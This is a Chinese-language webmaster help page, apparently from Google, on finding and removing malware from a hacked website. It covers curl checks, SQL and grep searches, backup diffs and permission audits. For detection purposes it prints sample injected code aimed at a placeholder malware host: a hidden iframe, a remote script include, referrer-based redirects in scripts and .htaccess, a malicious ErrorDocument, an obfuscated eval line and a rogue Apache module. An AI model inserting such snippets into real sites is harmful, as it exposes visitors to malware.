遭到恶意软件入侵

恶意软件是指符合以下特征的所有软件或移动应用:蓄意危害计算机、移动设备、计算机/移动设备上运行的软件或计算机/移动设备用户。如需详细了解恶意软件是什么,请参阅恶意软件和垃圾软件

如果您的网站包含恶意软件,当用户尝试访问您的网站时,通常会在搜索结果或浏览器显示的插页中看到“此网站可能会损害您的计算机”警告,如下所示:

代表性恶意软件插页
显示恶意软件警告的搜索结果。

您需要做好以下准备:

  • 拥有网站服务器(Web、数据库和文件)的 Shell 或终端管理员访问权限。
  • 了解 shell 或终端命令。
  • 能够对数据库运行 SQL 查询。

准备

  • 注册 Search Console,然后按照其中的说明验证被黑客入侵网站的所有权。 Search Console 会提供受影响网页的示例,以便您更轻松地查找和解决“遭到恶意软件入侵”问题。此外,如果系统检测到您的网站受到多种类型的恶意软件或其他黑客手段的影响,您会收到警告。
  • 查看 Google 安全浏览诊断页,了解有关网站是否可能对用户有害的公开信息。 您可以通过类似于 https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** 的网址查看您的网页或网站的商家信息状态。例如:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> 可以是特定网页网址 (http://example.com/badpage),也可以是整个网站 (example.com)。

  • 避免使用浏览器查看您网站上的网页。由于恶意软件通常会利用浏览器漏洞进行传播,因此在浏览器中打开感染恶意软件的网页可能会损坏您的计算机。除非诊断说明要求直接在浏览器中访问网页,否则请使用 cURLWget 执行 HTTP 请求(例如,提取网页)。

    这些免费提供的工具有助于诊断重定向,而且可让您灵活地添加引荐来源网址或用户代理信息。包含特定的引荐来源网址或用户代理有助于模仿黑客的行为,因为黑客可能只会向使用特定用户代理或引荐来源网址的用户提供恶意内容,以便将更多“真实用户”作为目标,并避开网站所有者和恶意软件扫描程序的检测。

`curl -v --referer "http://www.google.com" <your-url>`

以下示例同时指定了用户代理和引荐来源网址:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

我们建议您提取包含和不使用 --referer "https://www.google.com" 的网页,因为某些恶意软件只有在用户来自 Google 搜索结果时才会激活。

  • 创建一个文档,用于记录在此步骤中发现的情况。该文档最终将(至少)包含每个受损文件的名称和位置,以及感染方式的说明,并将作为清理并维护网站的基础。

  • 观看本页前面的视频,了解恶意软件的工作原理,以及如何在恶意软件调查期间保持安全。

诊断

要确定是哪种恶意软件正在影响您的网站,请执行以下操作:

  1. 在 Search Console 中打开您网站的“安全问题”报告。 展开恶意软件警告说明,查看受影响网页的示例列表。 请注意,此列表并不详尽;您可能不会获得网站上所有类型恶意软件的示例网页。
  2. 测试您的示例网页中是否存在以下类型的恶意软件。

服务器配置恶意软件(多余的重定向)

黑客已入侵您的网站,并将访问者从您的正常网站重定向到恶意软件攻击性网站(可能是通过修改您服务器的配置文件)。通过服务器配置文件,网站管理员通常可以为网站上的特定网页或目录指定网址重定向。例如,在 Apache 服务器上,这是指 .htaccess 文件以及 httpd.conf

诊断

访问“安全问题”报告中显示的一些示例网址。如果网页受到“服务器配置”感染,其响应可能会包含以下标头:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

确定受影响的文件

通过 shell 或终端访问权限登录您的服务器(如果您愿意,网站可以处于离线状态),然后查看相关的服务器配置文件。您的网站上可能有多个被黑客入侵的服务器配置文件。请检查这些文件,看看其中是否包含垃圾指令,例如重定向到未知网站。例如,在 .htaccess 文件中,您可能会看到如下所示的重定向:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL 注入

黑客入侵了您网站的数据库。例如,黑客可能已以编程方式将恶意代码插入到数据库表的每条记录中,这样一来,当服务器加载需要来自数据库的信息的页面时,恶意代码就会嵌入到页面的内容中,从而危害网站访问者。

诊断

  1. 使用命令行对受影响的网址运行一些查询,并检查“iframe”或“eval”等 SQL 攻击字词的响应。
  2. 通过 phpMyAdmin 等工具登录您的数据库服务器或查看您的数据库。如果您使用的是 Wget 或 c网址,请尝试通过 Wget 或 c网址 在网页源代码中找到的损坏情况与实际的数据库条目相关联。例如,如果您发现自己的网页包含危险的 iframe,可以执行 SQL 查询来搜索 iframe 代码。例如:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. 您可能还需要检查服务器上的数据库日志和错误文件是否存在异常活动,例如对于常规用户来说似乎不寻常的 SQL 命令或错误。

解决问题

请更新每条受感染的数据库记录,或者恢复最近一次的已知数据库备份。

代码注入

您网站上的网页已被修改为包含恶意代码,例如指向恶意软件攻击网站的 iframe。

诊断

使用 c网址 或 wGet 访问“安全问题”报告中显示的一些示例网址,并检查是否存在可疑代码。注入的代码可以采用多种类型,并且可能很难找到。搜索“iframe”之类的字词来查找 iframe 代码可能很有帮助。其他实用的关键字还包括“script”、“eval”和“unescape”。例如,如需在基于 Unix 的系统上搜索“iframe”对应的所有文件,请使用以下命令:

$grep -irn "iframe" ./ | less</pre>

这里有一些常见的恶意软件模式需要注意。

会加载恶意网站的 iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

从攻击性网站调用并运行脚本的 JavaScript 或其他脚本语言:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

会将浏览器重定向到攻击性网站的脚本:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

试图躲避检测的迷惑性恶意代码:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

旨在随机将有害代码写入其他无害脚本的共享对象文件:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

恶意错误模板

用于接收错误消息(例如“404 File not Found”)的模板已配置为传播恶意软件。这样一来,攻击者就可以对您网站上根本不存在的网址发起攻击。

诊断

请求您网站上不存在或抛出其他类型的错误的网页,并检查响应以查看它是否来自其他网站或是否以其他方式包含恶意软件。

解决问题

登录您的网络服务器,并在服务器配置文件中搜索错误页面指令。例如,Apache 网络服务器的错误模板可以在 .htaccess 文件中声明。以下示例 .htaccess 文件条目会从恶意网站中检索 404 错误页面:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

准备好清理网站后,请将 .htaccess 文件替换为已知良好的备份,或删除现有 .htaccess 文件中不需要的 ErrorDocument 指令。此外,请务必清理实际错误文件(如果您的网站上有这些文件)。最后,重启网络服务器以确保所有更改生效。

从被侵或恶意网站 {compromised-resources} 加载的资源

您的网站使用来自已知包含恶意内容的网站的内容或资源。这些文件可以是 JavaScript 文件、图片或其他文件。因此,您的网站将被标记为从该网站加载的恶意软件。

诊断

访问“安全问题”报告中显示的一些示例网址。

解决问题

  1. 浏览到 Search Console“安全问题”报告中列出的几个示例网址,确认问题。您应该会看到浏览器警告。
  2. 浏览器警告会告诉您可疑内容的网域。 移除对浏览器警告中列出的已标记网站的所有引用。 如果遭举报网站的内容在您不知情的情况下被加入了,则问题会更加严重。您的网站很可能已遭到入侵,您应该继续检查您的网站是否存在其他黑客攻击和漏洞。
  3. 如果您故意添加了某个合法网站的内容,而该网站已被标记,并且您想在清理被标记的网站后重新添加该内容,则可使用该网站的 Google 安全浏览诊断页面 (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} 监控该网站的状态。 合法网站的拥有者通常会很快清理掉这些内容。

进一步调查

接下来,检查您的系统上是否有任何其他恶意文件或更改。黑客可能修改了现有的网页或数据库记录,创建了全新的垃圾网页,编写了在正常网页上显示垃圾内容的函数,或留下了使黑客能够再次入侵您网站的“后门”,或重新注入您已移除的恶意代码。

如果您的网站处于在线状态,请考虑将其设为离线状态以进行此调查。

如果您有已知的网站良好备份,请确定在备份之后创建或修改了哪些文件并进行调查。在基于 Unix 的系统上,您可以使用如下命令查找新文件:

diff -qr <current-directory> <backup-directory>

例如:

diff -qr www/ backups/full-backup-20120124/

其他:

md5sum <current-page> <backup-page>

例如:

md5sum www/page.html backups/full-backup-20120124/page.html

检查服务器日志、访问日志和错误日志中是否存在任何可疑活动,例如失败的登录尝试、命令历史记录(尤其是以 root 身份执行的命令)以及创建未知用户帐号。请注意,黑客可能为达到自己的目的而更改了这些日志。如需查看一些示例,请参阅找出漏洞视频。

检查配置文件中是否存在重定向。您的配置文件通常名为 .htaccesshttpd.conf。黑客通常会根据用户代理、一天中的时段或引荐来源网址创建有条件的重定向。如果需要更新配置文件,您可能需要重启服务器才能使更改生效。

检查是否存在过于宽松的文件夹和文件权限。黑客会篡改权限,因为如果网站所有者未检测到宽松的权限,黑客就能再次入侵网站。文件大于 644 (rw-r--r--) 以及文件夹大小大于 755 (rwxr-xr-x),可能会导致安全问题。确保所有较宽松的权限均确有必要。在基于 Unix 的系统上,请尝试执行以下操作:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

和:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

如果您有数据库,请使用 phpMyAdmin 等工具逐条调查数据库记录。